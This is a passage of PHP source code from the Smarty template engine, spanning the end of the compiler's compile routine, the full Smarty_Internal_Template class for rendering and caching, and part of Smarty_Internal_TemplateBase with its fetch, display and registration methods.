                    $this
                ),
                $this
            );
        if ($isTemplateSource && $this->template->caching) {
            $this->parser->insertPhpCode("<?php\n\$_smarty_tpl->compiled->nocache_hash = '{$this->nocache_hash}';\n?>\n");
        }
        if (function_exists('mb_internal_encoding')
            && function_exists('ini_get')
            && ((int)ini_get('mbstring.func_overload')) & 2
        ) {
            $mbEncoding = mb_internal_encoding();
            mb_internal_encoding('ASCII');
        } else {
            $mbEncoding = null;
        }
        if ($this->smarty->_parserdebug) {
            $this->parser->PrintTrace();
            $this->parser->lex->PrintTrace();
        }
        // get tokens from lexer and parse them
        while ($this->parser->lex->yylex()) {
            if ($this->smarty->_parserdebug) {
                echo "<pre>Line {$this->parser->lex->line} Parsing  {$this->parser->yyTokenName[$this->parser->lex->token]} Token " .
                     htmlentities($this->parser->lex->value) . "</pre>";
            }
            $this->parser->doParse($this->parser->lex->token, $this->parser->lex->value);
        }
        // finish parsing process
        $this->parser->doParse(0, 0);
        if ($mbEncoding) {
            mb_internal_encoding($mbEncoding);
        }
        // check for unclosed tags
        if (count($this->_tag_stack) > 0) {
            // get stacked info
            list($openTag, $_data) = array_pop($this->_tag_stack);
            $this->trigger_template_error(
                "unclosed {$this->smarty->left_delimiter}" . $openTag .
                "{$this->smarty->right_delimiter} tag"
            );
        }
        // call post compile callbacks
        foreach ($this->postCompileCallbacks as $cb) {
            $parameter = $cb;
            $parameter[ 0 ] = $this;
            call_user_func_array($cb[ 0 ], $parameter);
        }
        // return compiled code
        return $this->prefixCompiledCode . $this->parser->retvalue . $this->postfixCompiledCode;
    }

    /**
     * Register a post compile callback
     * - when the callback is called after template compiling the compiler object will be inserted as first parameter
     *
     * @param callback $callback
     * @param array    $parameter optional parameter array
     * @param string   $key       optional key for callback
     * @param bool     $replace   if true replace existing keyed callback
     */
    public function registerPostCompileCallback($callback, $parameter = array(), $key = null, $replace = false)
    {
        array_unshift($parameter, $callback);
        if (isset($key)) {
            if ($replace || !isset($this->postCompileCallbacks[ $key ])) {
                $this->postCompileCallbacks[ $key ] = $parameter;
            }
        } else {
            $this->postCompileCallbacks[] = $parameter;
        }
    }

    /**
     * Remove a post compile callback
     *
     * @param string $key callback key
     */
    public function unregisterPostCompileCallback($key)
    {
        unset($this->postCompileCallbacks[ $key ]);
    }
}
<?php
/**
 * Smarty Internal Plugin Template
 * This file contains the Smarty template engine
 *
 * @package    Smarty
 * @subpackage Template
 * @author     Uwe Tews
 */

/**
 * Main class with template data structures and methods
 *
 * @package    Smarty
 * @subpackage Template
 *
 * @property Smarty_Template_Compiled             $compiled
 * @property Smarty_Template_Cached               $cached
 * @property Smarty_Internal_TemplateCompilerBase $compiler
 * @property mixed|\Smarty_Template_Cached        registered_plugins
 *
 * The following methods will be dynamically loaded by the extension handler when they are called.
 * They are located in a corresponding Smarty_Internal_Method_xxxx class
 *
 * @method bool mustCompile()
 */
#[\AllowDynamicProperties]
class Smarty_Internal_Template extends Smarty_Internal_TemplateBase
{
    /**
     * Template object cache
     *
     * @var Smarty_Internal_Template[]
     */
    public static $tplObjCache = array();

    /**
     * Template object cache for Smarty::isCached() === true
     *
     * @var Smarty_Internal_Template[]
     */
    public static $isCacheTplObj = array();

    /**
     * Sub template Info Cache
     * - index name
     * - value use count
     *
     * @var int[]
     */
    public static $subTplInfo = array();

    /**
     * This object type (Smarty = 1, template = 2, data = 4)
     *
     * @var int
     */
    public $_objType = 2;

    /**
     * Global smarty instance
     *
     * @var Smarty
     */
    public $smarty = null;

    /**
     * Source instance
     *
     * @var Smarty_Template_Source|Smarty_Template_Config
     */
    public $source = null;

    /**
     * Inheritance runtime extension
     *
     * @var Smarty_Internal_Runtime_Inheritance
     */
    public $inheritance = null;

    /**
     * Template resource
     *
     * @var string
     */
    public $template_resource = null;

    /**
     * flag if compiled template is invalid and must be (re)compiled
     *
     * @var bool
     */
    public $mustCompile = null;

    /**
     * Template Id
     *
     * @var null|string
     */
    public $templateId = null;

    /**
     * Scope in which variables shall be assigned
     *
     * @var int
     */
    public $scope = 0;

    /**
     * Flag which is set while rending a cache file
     *
     * @var bool
     */
    public $isRenderingCache = false;

    /**
     * Callbacks called before rendering template
     *
     * @var callback[]
     */
    public $startRenderCallbacks = array();

    /**
     * Callbacks called after rendering template
     *
     * @var callback[]
     */
    public $endRenderCallbacks = array();

    /**
     * Create template data object
     * Some of the global Smarty settings copied to template scope
     * It load the required template resources and caching plugins
     *
     * @param string                                                       $template_resource template resource string
     * @param Smarty                                                       $smarty            Smarty instance
     * @param null|\Smarty_Internal_Template|\Smarty|\Smarty_Internal_Data $_parent           back pointer to parent
     *                                                                                        object with variables or
     *                                                                                        null
     * @param mixed                                                        $_cache_id         cache   id or null
     * @param mixed                                                        $_compile_id       compile id or null
     * @param bool|int|null                                                $_caching          use caching?
     * @param int|null                                                     $_cache_lifetime   cache life-time in
     *                                                                                        seconds
     * @param bool                                                         $_isConfig
     *
     * @throws \SmartyException
     */
    public function __construct(
        $template_resource,
        Smarty $smarty,
        ?Smarty_Internal_Data $_parent = null,
        $_cache_id = null,
        $_compile_id = null,
        $_caching = null,
        $_cache_lifetime = null,
        $_isConfig = false
    ) {
        $this->smarty = $smarty;
        // Smarty parameter
        $this->cache_id = $_cache_id === null ? $this->smarty->cache_id : $_cache_id;
        $this->compile_id = $_compile_id === null ? $this->smarty->compile_id : $_compile_id;
        $this->caching = (int)($_caching === null ? $this->smarty->caching : $_caching);
        $this->cache_lifetime = $_cache_lifetime === null ? $this->smarty->cache_lifetime : $_cache_lifetime;
        $this->compile_check = (int)$smarty->compile_check;
        $this->parent = $_parent;
        // Template resource
        $this->template_resource = $template_resource;
        $this->source = $_isConfig ? Smarty_Template_Config::load($this) : Smarty_Template_Source::load($this);
        parent::__construct();
        if ($smarty->security_policy && method_exists($smarty->security_policy, 'registerCallBacks')) {
            $smarty->security_policy->registerCallBacks($this);
        }
    }

    /**
     * render template
     *
     * @param bool      $no_output_filter if true do not run output filter
     * @param null|bool $display          true: display, false: fetch null: sub-template
     *
     * @return string
     * @throws \Exception
     * @throws \SmartyException
     */
    public function render($no_output_filter = true, $display = null)
    {
        if ($this->smarty->debugging) {
            if (!isset($this->smarty->_debug)) {
                $this->smarty->_debug = new Smarty_Internal_Debug();
            }
            $this->smarty->_debug->start_template($this, $display);
        }
        // checks if template exists
        if (!$this->source->exists) {
            throw new SmartyException(
                "Unable to load template '{$this->source->type}:{$this->source->name}'" .
                ($this->_isSubTpl() ? " in '{$this->parent->template_resource}'" : '')
            );
        }
        // disable caching for evaluated code
        if ($this->source->handler->recompiled) {
            $this->caching = Smarty::CACHING_OFF;
        }
        // read from cache or render
        if ($this->caching === Smarty::CACHING_LIFETIME_CURRENT || $this->caching === Smarty::CACHING_LIFETIME_SAVED) {
            if (!isset($this->cached) || $this->cached->cache_id !== $this->cache_id
                || $this->cached->compile_id !== $this->compile_id
            ) {
                $this->loadCached(true);
            }
            $this->cached->render($this, $no_output_filter);
        } else {
            if (!isset($this->compiled) || $this->compiled->compile_id !== $this->compile_id) {
                $this->loadCompiled(true);
            }
            $this->compiled->render($this);
        }
        // display or fetch
        if ($display) {
            if ($this->caching && $this->smarty->cache_modified_check) {
                $this->smarty->ext->_cacheModify->cacheModifiedCheck(
                    $this->cached,
                    $this,
                    isset($content) ? $content : ob_get_clean()
                );
            } else {
                if ((!$this->caching || $this->cached->has_nocache_code || $this->source->handler->recompiled)
                    && !$no_output_filter && (isset($this->smarty->autoload_filters[ 'output' ])
                                              || isset($this->smarty->registered_filters[ 'output' ]))
                ) {
                    echo $this->smarty->ext->_filterHandler->runFilter('output', ob_get_clean(), $this);
                } else {
                    echo ob_get_clean();
                }
            }
            if ($this->smarty->debugging) {
                $this->smarty->_debug->end_template($this);
                // debug output
                $this->smarty->_debug->display_debug($this, true);
            }
            return '';
        } else {
            if ($this->smarty->debugging) {
                $this->smarty->_debug->end_template($this);
                if ($this->smarty->debugging === 2 && $display === false) {
                    $this->smarty->_debug->display_debug($this, true);
                }
            }
            if (!$no_output_filter
                && (!$this->caching || $this->cached->has_nocache_code || $this->source->handler->recompiled)
                && (isset($this->smarty->autoload_filters[ 'output' ])
                    || isset($this->smarty->registered_filters[ 'output' ]))
            ) {
                return $this->smarty->ext->_filterHandler->runFilter('output', ob_get_clean(), $this);
            }
            // return cache content
            return null;
        }
    }

    /**
     * Runtime function to render sub-template
     *
     * @param string  $template       template name
     * @param mixed   $cache_id       cache id
     * @param mixed   $compile_id     compile id
     * @param integer $caching        cache mode
     * @param integer $cache_lifetime life time of cache data
     * @param array   $data           passed parameter template variables
     * @param int     $scope          scope in which {include} should execute
     * @param bool    $forceTplCache  cache template object
     * @param string  $uid            file dependency uid
     * @param string  $content_func   function name
     *
     * @throws \Exception
     * @throws \SmartyException
     */
    public function _subTemplateRender(
        $template,
        $cache_id,
        $compile_id,
        $caching,
        $cache_lifetime,
        $data,
        $scope,
        $forceTplCache,
        $uid = null,
        $content_func = null
    ) {
        $tpl = clone $this;
        $tpl->parent = $this;
        $smarty = &$this->smarty;
        $_templateId = $smarty->_getTemplateId($template, $cache_id, $compile_id, $caching, $tpl);
        // recursive call ?
        if ((isset($tpl->templateId) ? $tpl->templateId : $tpl->_getTemplateId()) !== $_templateId) {
            // already in template cache?
            if (isset(self::$tplObjCache[ $_templateId ])) {
                // copy data from cached object
                $cachedTpl = &self::$tplObjCache[ $_templateId ];
                $tpl->templateId = $cachedTpl->templateId;
                $tpl->template_resource = $cachedTpl->template_resource;
                $tpl->cache_id = $cachedTpl->cache_id;
                $tpl->compile_id = $cachedTpl->compile_id;
                $tpl->source = $cachedTpl->source;
                if (isset($cachedTpl->compiled)) {
                    $tpl->compiled = $cachedTpl->compiled;
                } else {
                    unset($tpl->compiled);
                }
                if ($caching !== 9999 && isset($cachedTpl->cached)) {
                    $tpl->cached = $cachedTpl->cached;
                } else {
                    unset($tpl->cached);
                }
            } else {
                $tpl->templateId = $_templateId;
                $tpl->template_resource = $template;
                $tpl->cache_id = $cache_id;
                $tpl->compile_id = $compile_id;
                if (isset($uid)) {
                    // for inline templates we can get all resource information from file dependency
                    list($filepath, $timestamp, $type) = $tpl->compiled->file_dependency[ $uid ];
                    $tpl->source = new Smarty_Template_Source($smarty, $filepath, $type, $filepath);
                    $tpl->source->filepath = $filepath;
                    $tpl->source->timestamp = $timestamp;
                    $tpl->source->exists = true;
                    $tpl->source->uid = $uid;
                } else {
                    $tpl->source = Smarty_Template_Source::load($tpl);
                    unset($tpl->compiled);
                }
                if ($caching !== 9999) {
                    unset($tpl->cached);
                }
            }
        } else {
            // on recursive calls force caching
            $forceTplCache = true;
        }
        $tpl->caching = $caching;
        $tpl->cache_lifetime = $cache_lifetime;
        // set template scope
        $tpl->scope = $scope;
        if (!isset(self::$tplObjCache[ $tpl->templateId ]) && !$tpl->source->handler->recompiled) {
            // check if template object should be cached
            if ($forceTplCache || (isset(self::$subTplInfo[ $tpl->template_resource ])
                                   && self::$subTplInfo[ $tpl->template_resource ] > 1)
                || ($tpl->_isSubTpl() && isset(self::$tplObjCache[ $tpl->parent->templateId ]))
            ) {
                self::$tplObjCache[ $tpl->templateId ] = $tpl;
            }
        }
        if (!empty($data)) {
            // set up variable values
            foreach ($data as $_key => $_val) {
                $tpl->tpl_vars[ $_key ] = new Smarty_Variable($_val, $this->isRenderingCache);
            }
        }
        if ($tpl->caching === 9999) {
            if (!isset($tpl->compiled)) {
                $tpl->loadCompiled(true);
            }
            if ($tpl->compiled->has_nocache_code) {
                $this->cached->hashes[ $tpl->compiled->nocache_hash ] = true;
            }
        }
        $tpl->_cache = array();
        if (isset($uid)) {
            if ($smarty->debugging) {
                if (!isset($smarty->_debug)) {
                    $smarty->_debug = new Smarty_Internal_Debug();
                }
                $smarty->_debug->start_template($tpl);
                $smarty->_debug->start_render($tpl);
            }
            $tpl->compiled->getRenderedTemplateCode($tpl, $content_func);
            if ($smarty->debugging) {
                $smarty->_debug->end_template($tpl);
                $smarty->_debug->end_render($tpl);
            }
        } else {
            if (isset($tpl->compiled)) {
                $tpl->compiled->render($tpl);
            } else {
                $tpl->render();
            }
        }
    }

    /**
     * Get called sub-templates and save call count
     */
    public function _subTemplateRegister()
    {
        foreach ($this->compiled->includes as $name => $count) {
            if (isset(self::$subTplInfo[ $name ])) {
                self::$subTplInfo[ $name ] += $count;
            } else {
                self::$subTplInfo[ $name ] = $count;
            }
        }
    }

    /**
     * Check if this is a sub template
     *
     * @return bool true is sub template
     */
    public function _isSubTpl()
    {
        return isset($this->parent) && $this->parent->_isTplObj();
    }

    /**
     * Assign variable in scope
     *
     * @param string $varName variable name
     * @param mixed  $value   value
     * @param bool   $nocache nocache flag
     * @param int    $scope   scope into which variable shall be assigned
     */
    public function _assignInScope($varName, $value, $nocache = false, $scope = 0)
    {
        if (isset($this->tpl_vars[ $varName ])) {
            $this->tpl_vars[ $varName ] = clone $this->tpl_vars[ $varName ];
            $this->tpl_vars[ $varName ]->value = $value;
            if ($nocache || $this->isRenderingCache) {
                $this->tpl_vars[ $varName ]->nocache = true;
            }
        } else {
            $this->tpl_vars[ $varName ] = new Smarty_Variable($value, $nocache || $this->isRenderingCache);
        }
        if ($scope >= 0) {
            if ($scope > 0 || $this->scope > 0) {
                $this->smarty->ext->_updateScope->_updateScope($this, $varName, $scope);
            }
        }
    }

    /**
     * Check if plugins are callable require file otherwise
     *
     * @param array $plugins required plugins
     *
     * @throws \SmartyException
     */
    public function _checkPlugins($plugins)
    {
        static $checked = array();
        foreach ($plugins as $plugin) {
            $name = join('::', (array)$plugin[ 'function' ]);
            if (!isset($checked[ $name ])) {
                if (!is_callable($plugin[ 'function' ])) {
                    if (is_file($plugin[ 'file' ])) {
                        include_once $plugin[ 'file' ];
                        if (is_callable($plugin[ 'function' ])) {
                            $checked[ $name ] = true;
                        }
                    }
                } else {
                    $checked[ $name ] = true;
                }
            }
            if (!isset($checked[ $name ])) {
                if (false !== $this->smarty->loadPlugin($name)) {
                    $checked[ $name ] = true;
                } else {
                    throw new SmartyException("Plugin '{$name}' not callable");
                }
            }
        }
    }

    /**
     * This function is executed automatically when a compiled or cached template file is included
     * - Decode saved properties from compiled template and cache files
     * - Check if compiled or cache file is valid
     *
     * @param \Smarty_Internal_Template $tpl
     * @param array                     $properties special template properties
     * @param bool                      $cache      flag if called from cache file
     *
     * @return bool flag if compiled or cache file is valid
     * @throws \SmartyException
     */
    public function _decodeProperties(Smarty_Internal_Template $tpl, $properties, $cache = false)
    {
        // on cache resources other than file check version stored in cache code
        if (!isset($properties[ 'version' ]) || Smarty::SMARTY_VERSION !== $properties[ 'version' ]) {
            if ($cache) {
                $tpl->smarty->clearAllCache();
            } else {
                $tpl->smarty->clearCompiledTemplate();
            }
            return false;
        }
        $is_valid = true;
        if (!empty($properties[ 'file_dependency' ])
            && ((!$cache && $tpl->compile_check) || $tpl->compile_check === Smarty::COMPILECHECK_ON)
        ) {
            // check file dependencies at compiled code
            foreach ($properties[ 'file_dependency' ] as $_file_to_check) {
                if ($_file_to_check[ 2 ] === 'file' || $_file_to_check[ 2 ] === 'php') {
                    if ($tpl->source->filepath === $_file_to_check[ 0 ]) {
                        // do not recheck current template
                        continue;
                        //$mtime = $tpl->source->getTimeStamp();
                    } else {
                        // file and php types can be checked without loading the respective resource handlers
                        $mtime = is_file($_file_to_check[ 0 ]) ? filemtime($_file_to_check[ 0 ]) : false;
                    }
                } else {
                    $handler = Smarty_Resource::load($tpl->smarty, $_file_to_check[ 2 ]);
                    if ($handler->checkTimestamps()) {
                        $source = Smarty_Template_Source::load($tpl, $tpl->smarty, $_file_to_check[ 0 ]);
                        $mtime = $source->getTimeStamp();
                    } else {
                        continue;
                    }
                }
                if ($mtime === false || $mtime > $_file_to_check[ 1 ]) {
                    $is_valid = false;
                    break;
                }
            }
        }
        if ($cache) {
            // CACHING_LIFETIME_SAVED cache expiry has to be validated here since otherwise we'd define the unifunc
            if ($tpl->caching === Smarty::CACHING_LIFETIME_SAVED && $properties[ 'cache_lifetime' ] >= 0
                && (time() > ($tpl->cached->timestamp + $properties[ 'cache_lifetime' ]))
            ) {
                $is_valid = false;
            }
            $tpl->cached->cache_lifetime = $properties[ 'cache_lifetime' ];
            $tpl->cached->valid = $is_valid;
            $resource = $tpl->cached;
        } else {
            $tpl->mustCompile = !$is_valid;
            $resource = $tpl->compiled;
            $resource->includes = isset($properties[ 'includes' ]) ? $properties[ 'includes' ] : array();
        }
        if ($is_valid) {
            $resource->unifunc = $properties[ 'unifunc' ];
            $resource->has_nocache_code = $properties[ 'has_nocache_code' ];
            //            $tpl->compiled->nocache_hash = $properties['nocache_hash'];
            $resource->file_dependency = $properties[ 'file_dependency' ];
        }
        return $is_valid && !function_exists($properties[ 'unifunc' ]);
    }

    /**
     * Compiles the template
     * If the template is not evaluated the compiled template is saved on disk
     *
     * @throws \Exception
     */
    public function compileTemplateSource()
    {
        return $this->compiled->compileTemplateSource($this);
    }

    /**
     * Writes the content to cache resource
     *
     * @param string $content
     *
     * @return bool
     */
    public function writeCachedContent($content)
    {
        return $this->smarty->ext->_updateCache->writeCachedContent($this, $content);
    }

    /**
     * Get unique template id
     *
     * @return string
     * @throws \SmartyException
     */
    public function _getTemplateId()
    {
        return isset($this->templateId) ? $this->templateId : $this->templateId =
            $this->smarty->_getTemplateId($this->template_resource, $this->cache_id, $this->compile_id);
    }

    /**
     * runtime error not matching capture tags
     *
     * @throws \SmartyException
     */
    public function capture_error()
    {
        throw new SmartyException("Not matching {capture} open/close in '{$this->template_resource}'");
    }

    /**
     * Load compiled object
     *
     * @param bool $force force new compiled object
     */
    public function loadCompiled($force = false)
    {
        if ($force || !isset($this->compiled)) {
            $this->compiled = Smarty_Template_Compiled::load($this);
        }
    }

    /**
     * Load cached object
     *
     * @param bool $force force new cached object
     */
    public function loadCached($force = false)
    {
        if ($force || !isset($this->cached)) {
            $this->cached = Smarty_Template_Cached::load($this);
        }
    }

    /**
     * Load inheritance object
     */
    public function _loadInheritance()
    {
        if (!isset($this->inheritance)) {
            $this->inheritance = new Smarty_Internal_Runtime_Inheritance();
        }
    }

    /**
     * Unload inheritance object
     */
    public function _cleanUp()
    {
        $this->startRenderCallbacks = array();
        $this->endRenderCallbacks = array();
        $this->inheritance = null;
    }

    /**
     * Load compiler object
     *
     * @throws \SmartyException
     */
    public function loadCompiler()
    {
        if (!class_exists($this->source->compiler_class)) {
            $this->smarty->loadPlugin($this->source->compiler_class);
        }
        $this->compiler =
            new $this->source->compiler_class(
                $this->source->template_lexer_class,
                $this->source->template_parser_class,
                $this->smarty
            );
    }

    /**
     * Handle unknown class methods
     *
     * @param string $name unknown method-name
     * @param array  $args argument array
     *
     * @return mixed
     */
    public function __call($name, $args)
    {
        // method of Smarty object?
        if (method_exists($this->smarty, $name)) {
            return call_user_func_array(array($this->smarty, $name), $args);
        }
        // parent
        return parent::__call($name, $args);
    }

    /**
     * get Smarty property in template context
     *
     * @param string $property_name property name
     *
     * @return mixed|Smarty_Template_Cached
     * @throws SmartyException
     */
    public function __get($property_name)
    {
        switch ($property_name) {
            case 'compiled':
                $this->loadCompiled();
                return $this->compiled;
            case 'cached':
                $this->loadCached();
                return $this->cached;
            case 'compiler':
                $this->loadCompiler();
                return $this->compiler;
            default:
                // Smarty property ?
                if (property_exists($this->smarty, $property_name)) {
                    return $this->smarty->$property_name;
                }
        }
        throw new SmartyException("template property '$property_name' does not exist.");
    }

    /**
     * set Smarty property in template context
     *
     * @param string $property_name property name
     * @param mixed  $value         value
     *
     * @throws SmartyException
     */
    public function __set($property_name, $value)
    {
        switch ($property_name) {
            case 'compiled':
            case 'cached':
            case 'compiler':
                $this->$property_name = $value;
                return;
            default:
                // Smarty property ?
                if (property_exists($this->smarty, $property_name)) {
                    $this->smarty->$property_name = $value;
                    return;
                }
        }
        throw new SmartyException("invalid template property '$property_name'.");
    }

    /**
     * Template data object destructor
     */
    public function __destruct()
    {
        if ($this->smarty->cache_locking && isset($this->cached) && $this->cached->is_locked) {
            $this->cached->handler->releaseLock($this->smarty, $this->cached);
        }
    }
}
<?php
/**
 * Smarty Internal Plugin Smarty Template  Base
 * This file contains the basic shared methods for template handling
 *
 * @package    Smarty
 * @subpackage Template
 * @author     Uwe Tews
 */

/**
 * Class with shared smarty/template methods
 *
 * @package    Smarty
 * @subpackage Template
 *
 * @property int $_objType
 *
 * The following methods will be dynamically loaded by the extension handler when they are called.
 * They are located in a corresponding Smarty_Internal_Method_xxxx class
 *
 * @method Smarty_Internal_TemplateBase addAutoloadFilters(mixed $filters, string $type = null)
 * @method Smarty_Internal_TemplateBase addDefaultModifiers(mixed $modifiers)
 * @method Smarty_Internal_TemplateBase addLiterals(mixed $literals)
 * @method Smarty_Internal_TemplateBase createData(Smarty_Internal_Data $parent = null, string $name = null)
 * @method array getAutoloadFilters(string $type = null)
 * @method string getDebugTemplate()
 * @method array getDefaultModifier()
 * @method array getLiterals()
 * @method array getTags(mixed $template = null)
 * @method object getRegisteredObject(string $object_name)
 * @method Smarty_Internal_TemplateBase registerCacheResource(string $name, Smarty_CacheResource $resource_handler)
 * @method Smarty_Internal_TemplateBase registerClass(string $class_name, string $class_impl)
 * @method Smarty_Internal_TemplateBase registerDefaultConfigHandler(callback $callback)
 * @method Smarty_Internal_TemplateBase registerDefaultPluginHandler(callback $callback)
 * @method Smarty_Internal_TemplateBase registerDefaultTemplateHandler(callback $callback)
 * @method Smarty_Internal_TemplateBase registerResource(string $name, mixed $resource_handler)
 * @method Smarty_Internal_TemplateBase setAutoloadFilters(mixed $filters, string $type = null)
 * @method Smarty_Internal_TemplateBase setDebugTemplate(string $tpl_name)
 * @method Smarty_Internal_TemplateBase setDefaultModifiers(mixed $modifiers)
 * @method Smarty_Internal_TemplateBase setLiterals(mixed $literals)
 * @method Smarty_Internal_TemplateBase unloadFilter(string $type, string $name)
 * @method Smarty_Internal_TemplateBase unregisterCacheResource(string $name)
 * @method Smarty_Internal_TemplateBase unregisterObject(string $object_name)
 * @method Smarty_Internal_TemplateBase unregisterPlugin(string $type, string $name)
 * @method Smarty_Internal_TemplateBase unregisterFilter(string $type, mixed $callback)
 * @method Smarty_Internal_TemplateBase unregisterResource(string $name)
 */
abstract class Smarty_Internal_TemplateBase extends Smarty_Internal_Data
{
    /**
     * Set this if you want different sets of cache files for the same
     * templates.
     *
     * @var string
     */
    public $cache_id = null;

    /**
     * Set this if you want different sets of compiled files for the same
     * templates.
     *
     * @var string
     */
    public $compile_id = null;

    /**
     * caching enabled
     *
     * @var int
     */
    public $caching = Smarty::CACHING_OFF;

    /**
     * check template for modifications?
     *
     * @var int
     */
    public $compile_check = Smarty::COMPILECHECK_ON;

    /**
     * cache lifetime in seconds
     *
     * @var integer
     */
    public $cache_lifetime = 3600;

    /**
     * Array of source information for known template functions
     *
     * @var array
     */
    public $tplFunctions = array();

    /**
     * universal cache
     *
     * @var array()
     */
    public $_cache = array();

    /**
     * fetches a rendered Smarty template
     *
     * @param string $template   the resource handle of the template file or template object
     * @param mixed  $cache_id   cache id to be used with this template
     * @param mixed  $compile_id compile id to be used with this template
     * @param object $parent     next higher level of Smarty variables
     *
     * @throws Exception
     * @throws SmartyException
     * @return string rendered template output
     */
    public function fetch($template = null, $cache_id = null, $compile_id = null, $parent = null)
    {
        $result = $this->_execute($template, $cache_id, $compile_id, $parent, 0);
        return $result === null ? ob_get_clean() : $result;
    }

    /**
     * displays a Smarty template
     *
     * @param string $template   the resource handle of the template file or template object
     * @param mixed  $cache_id   cache id to be used with this template
     * @param mixed  $compile_id compile id to be used with this template
     * @param object $parent     next higher level of Smarty variables
     *
     * @throws \Exception
     * @throws \SmartyException
     */
    public function display($template = null, $cache_id = null, $compile_id = null, $parent = null)
    {
        // display template
        $this->_execute($template, $cache_id, $compile_id, $parent, 1);
    }

    /**
     * test if cache is valid
     *
     * @api  Smarty::isCached()
     * @link https://www.smarty.net/docs/en/api.is.cached.tpl
     *
     * @param null|string|\Smarty_Internal_Template $template   the resource handle of the template file or template
     *                                                          object
     * @param mixed                                 $cache_id   cache id to be used with this template
     * @param mixed                                 $compile_id compile id to be used with this template
     * @param object                                $parent     next higher level of Smarty variables
     *
     * @return bool cache status
     * @throws \Exception
     * @throws \SmartyException
     */
    public function isCached($template = null, $cache_id = null, $compile_id = null, $parent = null)
    {
        return $this->_execute($template, $cache_id, $compile_id, $parent, 2);
    }

    /**
     * fetches a rendered Smarty template
     *
     * @param string $template   the resource handle of the template file or template object
     * @param mixed  $cache_id   cache id to be used with this template
     * @param mixed  $compile_id compile id to be used with this template
     * @param object $parent     next higher level of Smarty variables
     * @param string $function   function type 0 = fetch,  1 = display, 2 = isCache
     *
     * @return mixed
     * @throws \Exception
     * @throws \SmartyException
     */
    private function _execute($template, $cache_id, $compile_id, $parent, $function)
    {
        $smarty = $this->_getSmartyObj();
        $saveVars = true;
        if ($template === null) {
            if (!$this->_isTplObj()) {
                throw new SmartyException($function . '():Missing \'$template\' parameter');
            } else {
                $template = $this;
            }
        } elseif (is_object($template)) {
            /* @var Smarty_Internal_Template $template */
            if (!isset($template->_objType) || !$template->_isTplObj()) {
                throw new SmartyException($function . '():Template object expected');
            }
        } else {
            // get template object
            $saveVars = false;
            $template = $smarty->createTemplate($template, $cache_id, $compile_id, $parent ? $parent : $this, false);
            if ($this->_objType === 1) {
                // set caching in template object
                $template->caching = $this->caching;
            }
        }
        // make sure we have integer values
        $template->caching = (int)$template->caching;
        // fetch template content
        $level = ob_get_level();
        try {
            $_smarty_old_error_level =
                isset($smarty->error_reporting) ? error_reporting($smarty->error_reporting) : null;

            if ($smarty->isMutingUndefinedOrNullWarnings()) {
                $errorHandler = new Smarty_Internal_ErrorHandler();
                $errorHandler->activate();
            }

            if ($this->_objType === 2) {
                /* @var Smarty_Internal_Template $this */
                $template->tplFunctions = $this->tplFunctions;
                $template->inheritance = $this->inheritance;
            }
            /* @var Smarty_Internal_Template $parent */
            if (isset($parent->_objType) && ($parent->_objType === 2) && !empty($parent->tplFunctions)) {
                $template->tplFunctions = array_merge($parent->tplFunctions, $template->tplFunctions);
            }
            if ($function === 2) {
                if ($template->caching) {
                    // return cache status of template
                    if (!isset($template->cached)) {
                        $template->loadCached();
                    }
                    $result = $template->cached->isCached($template);
                    Smarty_Internal_Template::$isCacheTplObj[ $template->_getTemplateId() ] = $template;
                } else {
                    return false;
                }
            } else {
                if ($saveVars) {
                    $savedTplVars = $template->tpl_vars;
                    $savedConfigVars = $template->config_vars;
                }
                ob_start();
                $template->_mergeVars();
                if (!empty(Smarty::$global_tpl_vars)) {
                    $template->tpl_vars = array_merge(Smarty::$global_tpl_vars, $template->tpl_vars);
                }
                $result = $template->render(false, $function);
                $template->_cleanUp();
                if ($saveVars) {
                    $template->tpl_vars = $savedTplVars;
                    $template->config_vars = $savedConfigVars;
                } else {
                    if (!$function && !isset(Smarty_Internal_Template::$tplObjCache[ $template->templateId ])) {
                        $template->parent = null;
                        $template->tpl_vars = $template->config_vars = array();
                        Smarty_Internal_Template::$tplObjCache[ $template->templateId ] = $template;
                    }
                }
            }

            if (isset($errorHandler)) {
                $errorHandler->deactivate();
            }

            if (isset($_smarty_old_error_level)) {
                error_reporting($_smarty_old_error_level);
            }
            return $result;
        } catch (Throwable $e) {
            while (ob_get_level() > $level) {
                ob_end_clean();
            }
            if (isset($errorHandler)) {
                $errorHandler->deactivate();
            }

            if (isset($_smarty_old_error_level)) {
                error_reporting($_smarty_old_error_level);
            }
            throw $e;
        }
    }

    /**
     * Registers plugin to be used in templates
     *
     * @api  Smarty::registerPlugin()
     * @link https://www.smarty.net/docs/en/api.register.plugin.tpl
     *
     * @param string   $type       plugin type
     * @param string   $name       name of template tag
     * @param callable $callback   PHP callback to register
     * @param bool     $cacheable  if true (default) this function is cache able
     * @param mixed    $cache_attr caching attributes if any
     *
     * @return \Smarty|\Smarty_Internal_Template
     * @throws \SmartyException
     */
    public function registerPlugin($type, $name, $callback, $cacheable = true, $cache_attr = null)
    {
        return $this->ext->registerPlugin->registerPlugin($this, $type, $name, $callback, $cacheable, $cache_attr);
    }

    /**
     * load a filter of specified type and name
     *
     * @api  Smarty::loadFilter()
     * @link https://www.smarty.net/docs/en/api.load.filter.tpl
     *
     * @param string $type filter type
     * @param string $name filter name
     *
     * @return bool
     * @throws \SmartyException
     */
    public function loadFilter($type, $name)
    {
        return $this->ext->loadFilter->loadFilter($this, $type, $name);
    }

    /**
     * Registers a filter function
     *
     * @api  Smarty::registerFilter()
     * @link https://www.smarty.net/docs/en/api.register.filter.tpl
     *
     * @param string      $type filter type
     * @param callable    $callback
     * @param string|null $name optional filter name
     *
     * @return \Smarty|\Smarty_Internal_Template
     * @throws \SmartyException
     */
    public function registerFilter($type, $callback, $name = null)
    {
        return $this->ext->registerFilter->registerFilter($this, $type, $callback, $name);
    }

    /**
     * Registers object to be used in templates
     *
     * @api  Smarty::registerObject()
     * @link https://www.smarty.net/docs/en/api.register.object.tpl
     *
     * @param string $object_name
     * @param object $object                     the referenced PHP object to register
     * @param array  $allowed_methods_properties list of allowed methods (empty = all)
     * @param bool   $format                     smarty argument format, else traditional
     * @param array  $block_methods              list of block-methods
     *
     * @return \Smarty|\Smarty_Internal_Template
     * @throws \SmartyException
     */
    public function registerObject(
        $object_name,
        $object,
        $allowed_methods_properties = array(),
        $format = true,
        $block_methods = array()
    ) {
        return $this->ext->registerObject->registerObject(
            $this,
            $object_name,
            $object,
            $allowed_methods_properties,
            $format,
            $block_methods
        );
    }

    /**
     * @param int $compile_check
     */
    public function setCompileCheck($compile_check)
    {
        $this->compile_check = (int)$compile_check;
    }

    /**
     * @param int $caching
     */
    public function setCaching($caching)
    {
        $this->caching = (int)$caching;
    }

    /**
